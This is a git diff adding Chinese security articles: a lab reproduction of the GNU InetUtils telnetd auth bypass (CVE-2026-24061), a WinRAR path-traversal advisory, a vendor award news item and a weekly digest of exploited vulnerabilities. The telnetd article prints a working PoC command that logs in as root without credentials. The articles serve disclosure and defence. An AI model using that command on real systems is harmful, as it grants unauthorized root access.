+![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiahvZwg4p30ZibNicibicyjWVSSlbib1QzuW7zoUMtJArLq3MwATvaEGyBeajm0Dk1uqJOibmmvcJnLoqOQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXe3FC0ic4IiasRfVm2e6Y06ZYvUv5KyVBnEmtvOyDUyn7m5PIrgwtE7Rcw/640?wx_fmt=gif "") + +点击“ +阅读原文 +”，获取更多学习资源！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXeN0SibqAMiaSjibKI7jkge8o1AO1o0QkialLs59Bxa8iaY7yibBicue54dVEdw/640?wx_fmt=png "") + + diff --git a/doc/2026-01/【成功复现】GNU InetUtils Telnetd远程认证绕过漏洞(CVE-2026-24061).md b/doc/2026-01/【成功复现】GNU InetUtils Telnetd远程认证绕过漏洞(CVE-2026-24061).md new file mode 100644 index 00000000..fd1ec3bf --- /dev/null +++ b/doc/2026-01/【成功复现】GNU InetUtils Telnetd远程认证绕过漏洞(CVE-2026-24061).md @@ -0,0 +1,150 @@ +# 【成功复现】GNU InetUtils Telnetd远程认证绕过漏洞(CVE-2026-24061) +原创 弥天安全实验室 + 弥天安全实验室 弥天安全实验室 2026-01-30 11:12 + +# + +网安引领时代，弥天点亮未来   +  + + + + + +  + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=2jntd263&tp=webp#imgIndex=0 "") + + +**0x00写在前面** + +**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！** + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=7c3v7kvq&tp=webp#imgIndex=1 "") + + +**0x01漏洞介绍** + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqHwItxe3dgPOB486XdvUKP4g2kITgPUNuXjqt31974KT2jR22dvXLeg/640?wx_fmt=png&from=appmsg "") + +GNU Inetutils是美国GNU社区的一组常见的网络程序。 + +GNU Inetutils 2.7及之前版本存在参数注入漏洞，该漏洞源于通过USER环境变量绕过远程身份验证， +当攻击者通过telnet客户端使用-a或--login参数，并构造USER=-f root的环境变量时，可触发login的-f免认证机制，从而在无需任何合法凭据的情况下直接以root身份登录系统。 + +注：Telnet 是一种基于TCP的远程终端访问服务与应用层协议，默认使用23端口，允许用户通过网络在本地主机上远程登录并操作另一台服务器。Telnet采用明文方式传输用户名、口令及会话数据，早期广泛用于类Unix系统的远程管理与设备运维。 + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=3 "") + + +**0x02影响版本** + +通过命令确认当前telnet所属包和版本 +``` +dpkg -S /usr/sbin/telnetd && telnetd --version +``` + +1.9.3 <= GNU InetUtils <= 2.7 + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqWM57KHFIR2b8BDPoD9HfibH3ZKneITkE8PiayOZbpUYR1yzibYySnwoqA/640?wx_fmt=png&from=appmsg "") + + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=5 "") + + +**0x03漏洞复现** + + +1.docker搭建环境 +``` +docker run -d --name telnetd-lab -p 0.0.0.0:2323:23 telnetd-vuln:cve-2026-24061 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqZHZAiazB20wrkCbMmtRycKOwLVmD5dPwLKcbzO6r6rd7rej9ic9YvcYQ/640?wx_fmt=png&from=appmsg "") + +进入docker查看版本 + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqEWCyw6Uglgqp71t792sWRJ5HTdOa6NU7kLwl97nyWL0Xe1Ud4ibvBkQ/640?wx_fmt=png&from=appmsg "") + +2.漏洞复现 + +poc +``` +telnet -l "-f root" 192.168.3.30 2323 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqsALaG3ZZ5xDgnFoickGxdZGXCoL3TwVFjypJptPibhgNqLWO70QMFFbA/640?wx_fmt=png&from=appmsg "") +``` +telnet -a -l "-f root" 192.168.3.30 2323 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqHnLIQush1RmwcHU6t4z9w9FVNTEnKOiaMsjXTr8LSp9YBtB28AQeiaGw/640?wx_fmt=png&from=appmsg "") + +3.工具测试 + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqrPmibP324Zicd9vSAIC3H9olx3W1dmHIIibVYicefS8l9Yc0hHEt956iaiaQ/640?wx_fmt=png&from=appmsg "") + +4.自研漏洞流量检测规则，成功检出。 + +![](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hABrIXLuyPfKdKjBBGDYOAqJf8y0ybuvNSticnwoZYRM34UeXibJYQY9TQHv7jfqk2e8g9EoIsjK8iaA/640?wx_fmt=png&from=appmsg "") + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=3 "") + + +**0x04修复建议** + + +目前厂商已发布升级补丁以修复漏洞，补丁获取链接： + +临时缓解方案 + +1、在 WAF、IDS/IPS 中部署基于 POC 的检测规则，识别针对该漏洞的探测与攻击行为。 + +2、 在业务允许的情况下禁用telnet，使用ssh。 + +3.、若必须使用telnet，可配置 InetUtils 的 telnetd 自定义的login工具不允许使用 -f 参数。 + + +  建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！ + +        +``` +https://www.gnu.org/software/inetutils/manual/ +https://github.com/yanxinwu946/CVE-2026-24061--telnetd +``` + + + +弥天简介 + +学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。 + +口号 网安引领时代，弥天点亮未来 + + + +![Image](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaaqjXT4YxgHVARD1NNv0RvKtiaAvXhmruVqgavPY3stwrfvLKetGycKUfxIq3Xc6F6dhU7eb4oh2gg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&randomid=h6lqq1ue&tp=webp#imgIndex=8 "") + +  + + +知识分享完了 + +喜欢别忘了关注我们哦~ + +学海浩茫， + +予以风动， + +必降弥天之润！ + + +   弥  天 + +安全实验室 + +![Image](https://mmbiz.qpic.cn/mmbiz_jpg/MjmKb3ap0hDyTJAqicycpl7ZakwfehdOgvOqd7bOUjVTdwxpfudPLOJcLiaSZnMC7pDDdlIF4TWBWWYnD04wX7uA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=u34b870m&tp=webp#imgIndex=9 "") + + + + diff --git a/doc/2026-01/【高危漏洞预警】WinRAR 存在目录穿越漏洞（CVE-2025-8088），CVSS 评分高达 8.4.md b/doc/2026-01/【高危漏洞预警】WinRAR 存在目录穿越漏洞（CVE-2025-8088），CVSS 评分高达 8.4.md new file mode 100644 index 00000000..f1d3ce90 --- /dev/null +++ b/doc/2026-01/【高危漏洞预警】WinRAR 存在目录穿越漏洞（CVE-2025-8088），CVSS 评分高达 8.4.md @@ -0,0 +1,107 @@ +# 【高危漏洞预警】WinRAR 存在目录穿越漏洞（CVE-2025-8088），CVSS 评分高达 8.4 +宝十八 + 宝十八 网络安全老宋 2026-01-30 16:00 + +**导语：** + 你好，我是老宋。 +关注我，安全攻防干货第一时间送达！ + + +编号 +CVE-2025-8088 +，建议先收藏再点赞 + +一、漏洞概述 + +**1. 产品简介** + +WinRAR 是 一 款 功 能 强 大 的 文 件 压 缩 与 管 理 软 件 ， 专 为 + +Windows 系统设计，同时也提供适用于 Linux、DOS、MacOS X等多个平台的版本。它由俄罗斯开发者 Eugene Roshal 创建，首个公开版本于 1993 年发布，其名称“RAR”源自“Roshal ARchive”。 + +该软件于 1995 年 4 月 22 日正式发布，并持续更新至今。WinRAR的核心功能是创建、管理和控制压缩文件。它采用独特的无损压缩算法，在压缩率和速度方面表现优异。软件支持创建 RAR 及ZIP 格式的压缩文件，并能解压从互联网下载的 RAR、ZIP 以及CAB、ARJ、LZH、TAR、GZ、ACE、UUE、BZ2、JAR、ISO、Z、XZ 和 7Z 等多种类型的档案文件与镜像文件。 + +**2. 漏洞基本信息** +- **漏洞编号** +：CVE-2025-8088 +- **影响版本** +：WinRAR 7.12 及更早版本（含 Windows 版 RAR、UnRAR 组件） +- **漏洞类型** +：目录遍历（路径穿越） +- **CVSS v3.1 评分** +：8.4（高危） +3. 漏洞原理 + +攻击者可利用 WinRAR 在处理  +RAR5 格式 + NTFS 交替数据流（ADS）时的缺陷，通过构造恶意压缩包，在文件流名中嵌入路径穿越字符（如 ..\）。 + +当用户解压该压缩包时， +WinRAR 未对流名路径进行规范化校验，导致隐藏的恶意载荷（如 + .lnk、.hta、.bat 或脚本文件 +）被自动释放到系统任意目录（如启动项），从而实现： +- 开机自启 + +- 数据窃取 + +- 持久化控制 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sowcUpcXRY1zqr7o2crKgaIoDdkLI3r1ib7sjibY6JHibgeACV6PY79hRrpZ4ibScS1LP6iclNiaibKicazdtD4VpVJySQ/640?wx_fmt=png&from=appmsg "") + +**攻击链路图** + +**4. 攻击场景** + +典型攻击方式为“鱼叉式钓鱼”： +> 攻击者将恶意载荷隐藏在看似正常的 PDF、Word 等诱饵文件的 ADS 中，打包成 RAR 压缩包发送给目标用户。用户一旦解压，恶意程序即在后台静默执行，无需交互！ + + +二、复现验证 + +在未打补丁的 WinRAR 7.12 环境下， +构造含 ADS 路径穿越的 RAR5 压缩包，解压后可成功将任意文件写入系统敏感路径（如 %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\ +），验证漏洞真实存在且危害严重。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sowcUpcXRY1zqr7o2crKgaIoDdkLI3r1Jnic22mj90cOxHsjJLiaRpiaoMZWEIT2dPINhxjO1QicemP0eCnzibUsMbw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sowcUpcXRY1zqr7o2crKgaIoDdkLI3r1pnqH8LHTGKtN40fAnFcA03MSw1RfaUUkkeTqwOKc06bweJ2Bg7wWLg/640?wx_fmt=png&from=appmsg "") +## 三、处置建议 + +1. 立即升级 + +请立即 +升级至 WinRAR 7.13 或更高版本（官方已修复该漏洞）。 + +下载地址：https://www.win-rar.com + +2. 安全习惯 + +切勿打开来源不明或可疑的压缩文件； + +解压前务必使用 +最新版杀毒软件或EDR终端防护产品进行扫描； + +企业IT管理员应通过组策略或终端管理平台统一推送更新。 + +3. 应急排查 + +如近期曾解压过可疑 RAR 文件，建议： + +检查系统启动项、临时目录是否存在异常脚本或快捷方式； + +审计系统日志中是否有非预期的文件创建行为； + +对关键主机进行全盘病毒扫描。 + +🔒 **安全无小事，及时更新是第一道防线！** + +     请各单位高度重视此漏洞，迅速采取防护措施，避免被攻击者利用。 +### 往期精彩 + +历史文章 + +如果你感觉有用， +帮忙点个免费的关注转发，你的支持是我更新的动力 + +关注我的人，顺风顺水顺财神，朝朝暮暮有人疼！无一例外！ + + diff --git a/doc/2026-01/奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力.md b/doc/2026-01/奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力.md new file mode 100644 index 00000000..bfb8d274 --- /dev/null +++ b/doc/2026-01/奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力.md @@ -0,0 +1,125 @@ +# 奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力 + 代码卫士 2026-01-30 09:36 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cbge2dLXia4bbQyBibIkuZz7hZVFlib5Oib5VZCiacheOLBHzKc88VEQYkXdC7BfdzLSVml0HWO6RjrP7FHL8oL0ONw/640?from=appmsg#imgIndex=0 "") + + +1 +月 +27 +日，工信部网络安全威胁和漏洞信息共享平台车联网产品安全漏洞专业库（ +NVDB-CAVD +） +2025 +年终总结会在京召开。奇安信作为技术支撑单位代表受邀参会并作经验分享， +荣获 +"2025 +年度优秀技术支撑单位 +" +称号，同时获得 +10 +项超高危原创漏洞证书，成为本次会议中获颁漏洞证书数量最多的单位。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/G3LNmiaOGjaoM7v2Zl29poq3vCicharPEqywFibc52NVLd3Gp3ClfnRybWIbk4pJYe5u1563L2XFHXaL3Ac4k8p8Q/640?wx_fmt=jpeg#imgIndex=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/62OYVialOyzhYibIYiaFGgzk4A0J24UkaqlC46m7rpzicOcweibGzEPYrlxsjmFsR7qRbNSgJrAm91nupsibQyWd98fg/640?from=appmsg#imgIndex=3 "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/G3LNmiaOGjaoM7v2Zl29poq3vCicharPEqzMW7HUErumwbb56f4o48WoBjEs8euEK5xGDKtNtgEssPeF56typLfA/640?wx_fmt=png&from=appmsg#imgIndex=4 "") + + +来自整车企业、零部件企业、技术支撑单位的相关代表及车联网漏洞分析专家等 +150 +余人参会。会议全面回顾了 +NVDB-CAVD 2025 +年度工作成效，系统部署了 +2026 +年重点工作，同时对年度优秀技术支撑单位、漏洞管理优秀实践单位及超高危原创漏洞贡献者进行了授牌表彰。 + +![](https://mmbiz.qpic.cn/mmbiz_png/G3LNmiaOGjaoM7v2Zl29poq3vCicharPEq5bFahbicsF96lVhLxdEUkK8osWjJp2cpnUTb6VlxP6257wk9khvEQCw/640?from=appmsg#imgIndex=5 "") + +![](https://mmbiz.qpic.cn/mmbiz_png/G3LNmiaOGjaoM7v2Zl29poq3vCicharPEqbfiaKhpZg0NrfB08RV20Pe49xDFITLCcFQrwXDJgm0RxA95yHJ85ANQ/640?from=appmsg#imgIndex=6 "") + +据奇安信代码安全实验室奇车安全团队负责人介绍，2025年奇安信报告的漏洞主要包括 +失效的访问控制、过度数据暴露、身份认证失效、数字钥匙管理失效 +等多种类型，可导致 +未授权定位车辆位置、未授权解锁车辆、未授权启动和驾驶车辆、敏感信息泄露等严重危害 +，直接影响车企和用户数据安全、车辆安全，整体安全风险极高。 + +例如，某汽车厂商云平台存在多个漏洞，攻击者可组合利用这些漏洞形成完整的攻击链：先批量获取该厂商汽车车主姓名、手机号、车辆VIN码等敏感信息，再通过车辆VIN码定位车辆实时位置，进而对车辆进行远程解锁和启动，此类组合攻击会造成大规模的车辆资产风险，严重损害厂商信誉。 + +奇安信代码安全实验室奇车安全团队 +是专注于智能网联汽车安全研究的团队，针对主流智能网联汽车产品进行了大量深入的研究工作，[在主流汽车品牌的产品中发现了数百个安全漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524907&idx=1&sn=56ac025aa6a6fcc0f1243163f93a12bc&scene=21#wechat_redirect) + +，并曾获得NVDB-CAVD汽车信息安全挑战赛、中国计算机学会（CCF）汽车安全攻防大赛、赛力斯问界汽车安全大赛等多个比赛的冠军或一等奖。此次获得的10项超高危原创漏洞证书，既是对团队技术实力的认可，也彰显了奇安信在车联网安全领域的专业地位。 + +在车联网安全日益重要的今天，奇安信将持续发挥技术优势，与行业各方紧密合作，共同推动车联网安全防护能力提升。公司相关负责人表示，未来将深化与主机厂、零部件企业及技术支撑单位的合作，聚焦关键技术突破与成果转化，为汽车产业高质量发展提供坚实的安全保障。 + + +开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + +**推荐阅读** + +[奇安信荣膺NVDB-CAVD2025汽车信息安全春季赛第一名](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523360&idx=1&sn=df7f6e82910263f9b6bbf26c9e9fe887&scene=21#wechat_redirect) + + +[奇安信斩获首届CCF智能汽车大赛“汽车安全攻防赛”一等奖](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523838&idx=1&sn=86f2bfc58cb6869d1fc1dbd1dfba0243&scene=21#wechat_redirect) + + +[在线阅读版：《智能网联汽车云平台漏洞分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524907&idx=1&sn=56ac025aa6a6fcc0f1243163f93a12bc&scene=21#wechat_redirect) + + +[奇安信发布智能网联汽车云平台漏洞报告：九成存漏洞，超七成涉高危风险](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524906&idx=1&sn=042b50af44fdb5d36a87c4aa47750af2&scene=21#wechat_redirect) + + +[黑客可入侵调制解调器，控制汽车仪表盘](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524697&idx=1&sn=859874b28c699cba937a7edf009d7623&scene=21#wechat_redirect) + + +[2026 Pwn2Own 东京汽车大赛落下帷幕，Master of Pwn 诞生](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524969&idx=1&sn=fbd3e630ba31d2f0118b90ad0779d309&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/security/ivanti-warns-of-two-epmm-flaws-exploited-in-zero-day-attacks/ + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + + +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + + diff --git a/doc/2026-01/安全热点周报：微软 Office 零日漏洞允许恶意文档绕过安全检查.md b/doc/2026-01/安全热点周报：微软 Office 零日漏洞允许恶意文档绕过安全检查.md new file mode 100644 index 00000000..77939869 --- /dev/null +++ b/doc/2026-01/安全热点周报：微软 Office 零日漏洞允许恶意文档绕过安全检查.md @@ -0,0 +1,242 @@ +# 安全热点周报：微软 Office 零日漏洞允许恶意文档绕过安全检查 + 奇安信 CERT 2026-01-30 09:34 + +
安全资讯导视 

• 国家网信办《金融信息服务数据分类分级指南》公开征求意见

• 波兰电网险遭大停电细节披露：数十处电站通信设备被攻击瘫痪

• 高端运动品牌安德玛7200万用户个人信息疑似泄露，官方称正在调查

+ +**PART****0****1** + + +**漏洞情报** + + +**1.Fortinet多款产品身份认证绕过漏洞安全风险通告** + + +1月28日，奇安信CERT监测到Fortinet 多款产品身份认证绕过漏洞(CVE-2026-24858)在野利用，该漏洞源于FortiCloud单点登录（SSO）功能中的身份验证逻辑缺陷，当设备启用FortiCloud SSO认证时，攻击者可利用自身合法的FortiCloud账户及已注册设备，绕过正常身份认证机制，直接登录到其他用户账号下注册的设备。尽管SSO功能默认关闭，但在管理员通过设备 GUI 注册FortiCare服务时，若未手动禁用“Allow administrative login using FortiCloud SSO”选项，该功能将自动启用。成功利用此漏洞后，可获取目标设备的管理员权限，执行下载设备配置文件、创建本地管理员账号等恶意操作，进而实现对内部网络的深度渗透。目前该漏洞已发现在野利用。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 + + +**2.SmarterTools SmarterMail远程代码执行漏洞安全风险通告** + + +1月28日，奇安信CERT监测到官方修复SmarterTools SmarterMail远程代码执行漏洞(CVE-2026-24423)，该漏洞源于ConnectToHub API接口未对访问者进行身份验证。攻击者可通过构造特定请求，诱导SmarterMail服务器指向恶意HTTP服务器，进而向SmarterMail返回恶意操作系统命令。攻击者可以远程执行任意命令，完全控制受影响的系统，导致数据泄露、服务中断等严重后果。奇安信鹰图资产测绘平台数据显示，该漏洞关联的全球风险资产总数为40581个，关联IP总数为19693个。目前该漏洞PoC和技术细节已公开。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 + + +**3.Microsoft Office安全功能绕过漏洞安全风险通告** + + +1月27日，奇安信CERT监测到官方修复Microsoft Office安全功能绕过漏洞(CVE-2026-21509)，该漏洞产生的原因是Microsoft Office在进行安全决策时依赖了不可信的输入数据。该漏洞存在于Microsoft Office的OLE（对象链接与嵌入）安全缓解措施中，攻击者可以通过构造恶意Office文档绕过用于保护用户免受脆弱COM/OLE控件侵害的安全机制。目前该漏洞已存在在野利用。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 + + +**PART****0****2** + + +**新增在野利用** + + +**1.Ivanti Endpoint Manager Mobile 代码注入漏洞(CVE-2026-1281、CVE-2026-1340)****** + + +1月30日，Ivanti 披露了 Ivanti Endpoint Manager Mobile (EPMM) 中的两个严重漏洞，编号分别为 CVE-2026-1281 和 CVE-2026-1340，这些漏洞已被用于零日攻击。 + +这两个漏洞均属于代码注入漏洞，允许远程攻击者在未经身份验证的情况下在易受攻击的设备上执行任意代码，从而使攻击者能够访问存储在该平台上的各种信息。此信息包括管理员和用户名、用户名和电子邮件地址，以及有关受管移动设备的信息，例如电话号码、IP 地址、已安装的应用程序和设备标识符（如 IMEI 和 MAC 地址）。如果启用位置跟踪，攻击者还可以访问设备位置数据，包括 GPS 坐标和最近的基站位置。CVSS 评分均为 9.8，被评为严重级别。Ivanti 警告称，目前只知道极少数客户的解决方案在披露时遭到了利用。 + +Ivanti 称，这两个漏洞都是通过内部应用程序分发和 Android 文件传输配置功能触发的，尝试或成功的利用记录会出现在 Apache 访问日志中/var/log/httpd/https-access_log。攻击者还可以使用 EPMM API 或 Web 控制台对设备进行配置更改，包括身份验证设置。这两个漏洞都被用作零日漏洞利用，但由于已知受影响的客户数量较少，该公司没有可靠的入侵指标（IOC）。 + +该公司发布了有关检测漏洞利用和漏洞利用后行为的技术指南，管理员可以使用这些指南。应用补丁不需要停机时间，也不会对功能造成影响，因此强烈建议尽快应用这些补丁。不过，热修复程序在版本升级后会失效，如果设备在永久修复程序可用之前升级，则必须重新应用这些热修复程序。 + + +参考链接： + +https://www.bleepingcomputer.com/news/security/ivanti-warns-of-two-epmm-flaws-exploited-in-zero-day-attacks/ + + +**2.Fortinet 多款产品身份认证绕过漏洞(CVE-2026-24858)****** + + +1月27日，Fortinet 已确认存在一个新的、正在被积极利用的 FortiCloud 单点登录 (SSO) 身份验证绕过漏洞，编号为 CVE-2026-24858，并表示已通过阻止运行易受攻击固件版本的设备建立 FortiCloud SSO 连接来缓解零日攻击。 + +该漏洞允许攻击者滥用 FortiCloud SSO 来获取对其他客户注册的 FortiOS、FortiManager 和 FortiAnalyzer 设备的管理权限，即使这些设备已针对先前披露的漏洞进行了完全修复。 + +此前， Fortinet 客户于1月21日报告称其 FortiGate 防火墙遭到入侵，攻击者通过 FortiCloud SSO 在运行最新可用固件的设备上创建新的本地管理员帐户。随后，Fortinet 证实了这一消息。最初人们认为这些攻击是通过绕过 CVE-2025-59718 的补丁实现的，CVE-2025-59718 是一个之前被利用的严重 FortiCloud SSO 身份验证绕过漏洞，该漏洞已于2025年12月修复。 + +Fortinet 管理员报告称，黑客使用电子邮件地址 cloud-init@mail.io 通过 FortiCloud SSO 登录到 FortiGate 设备，然后创建新的本地管理员帐户。受影响客户分享的日志显示了与12月份攻击期间观察到的类似迹象。1月22日，网络安全公司 Arctic Wolf 证实了这些攻击，并表示攻击似乎是自动化的，攻击者在几秒钟内就创建新的恶意管理员账户和启用 VPN 的账户，并窃取了防火墙配置。 + +Fortinet 的安全公告指出，CVE-2026-24858 漏洞的利用源于两个 FortiCloud 账户，这两个账户已于1月22日被 Fortinet 禁用。但 Fortinet 在1月26日采取了更为严格的措施，暂时禁用了所有账户和设备的 FortiCloud 单点登录功能，以阻止恶意登录。Fortinet 于1月27日重新启用了该功能，但不再支持从运行存在 CVE-2026-24858 漏洞的设备版本登录。该公告指出，目前无需在客户端禁用 FortiCloud SSO 登录。Fortinet 敦促客户将所有运行 FortiOS、FortiManager、FortiAnalyzer、FortiProxy 和 FortiWeb 的设备升级到已修复的版本。根据公告，Fortinet 正在调查 FortiSwitch Manager 是否存在 CVE-2026-24858 漏洞。 + +Fortinet 建议检查所有管理员帐户，从已知干净的备份中恢复配置，并轮换所有凭据。 + + +参考链接： + +https://www.bleepingcomputer.com/news/security/fortinet-blocks-exploited-forticloud-sso-zero-day-until-patch-is-ready/ + + +**3.Microsoft Office 安全功能绕过漏洞(CVE-2026-21509)****** + + +1月26日，微软针对 Office 中的一个高危零日漏洞发布了紧急补丁，该漏洞允许攻击者绕过文档安全检查，并且正在被恶意文件利用。 + +微软针对零日漏洞（编号为 CVE-2026-21509）推送了紧急补丁，并将其归类为“Microsoft Office 安全功能绕过漏洞”，CVSS 评分为 7.8 分。该安全功能绕过漏洞（编号为CVE-2026-21509）会影响多个 Office 版本，包括 Microsoft Office 2016、Microsoft Office 2019、Microsoft Office LTSC 2021、Microsoft Office LTSC 2024 和 Microsoft 365 企业应用版（该公司的云订阅服务）。 + +该漏洞允许攻击者绕过对象链接和嵌入 (OLE) 缓解措施，这些措施旨在阻止 Office 文档中不安全的 COM/OLE 控件。这意味着即使有内置保护措施，恶意附件仍可能感染计算机。 + +在实际场景中，攻击者会创建包含隐藏“小程序”或特殊对象的伪造 Word、Excel 或 PowerPoint 文件。他们可以在受感染的计算机上运行代码并执行其他操作。通常，Office 具有安全检查功能，会阻止这些小程序，因为它们存在风险。 + +然而，该漏洞允许攻击者篡改文件结构和隐藏信息，使 Office 误认为文档中隐藏的危险小程序是无害的。因此，Office 会跳过通常的安全检查，允许隐藏代码运行。 + +由于用于测试绕过漏洞的代码已公开，增加了被利用的风险，因此强烈建议用户尽快应用补丁。 + + +参考链接： + +https://www.malwarebytes.com/blog/news/2026/01/microsoft-office-zero-day-lets-malicious-documents-slip-past-security-checks + + +**4.GNU InetUtils telnetd 远程认证绕过漏洞(CVE-2026-24061)****** + + +1月26日，威胁行为者积极利用影响数十万台 Telnet 服务器的严重漏洞，这种经常被忽视的威胁途径重新成为人们关注的焦点。 + +该安全问题编号为 CVE-2026-24061，于1月20日报告。该漏洞很容易被利用，并且有多个漏洞利用示例已公开。开源贡献者 Simon Josefsson 解释到，GNU InetUtils 的 telnetd 组件存在远程身份验证绕过漏洞，这是由于在生成“/usr/bin/login”时未清理环境变量处理造成的。该漏洞的产生是因为 telnetd 会将用户控制的 USER 环境变量直接传递给 login(1) 函数，而没有进行任何清理。攻击者可以通过将 USER 设置为-f root并使用 telnet -a 命令连接，从而绕过身份验证并获得 root 权限。 + +GNU InetUtils 是由 GNU 项目维护的一系列经典网络客户端和服务器工具（telnet/telnetd、ftp/ftpd、rsh/rshd、ping、traceroute），并在多个 Linux 发行版中使用。尽管 Telnet 是一种不安全的旧式组件，并且已被 SSH 基本取代，但许多 Linux 和 Unix 系统仍然保留它，以兼容其他系统或满足特殊用途的需求。由于其简单易用且开销低，Telnet 在工业领域尤其普遍。在传统设备和嵌入式设备上，它可以无需更新运行超过十年，这解释了它在物联网设备、摄像头、工业传感器和运营技术 (OT) 网络中的应用。 + +威胁监控公司 GreyNoise 报告称，已检测到利用 CVE-2026-24061 漏洞对少量易受攻击的终端进行实际攻击活动。大部分攻击活动似乎是自动化的，但也发现了一些“人工操作”的案例。攻击的终端速度、类型和 X11 DISPLAY 值各不相同，但在 83.3% 的情况下，它们的目标是“root”用户。 + 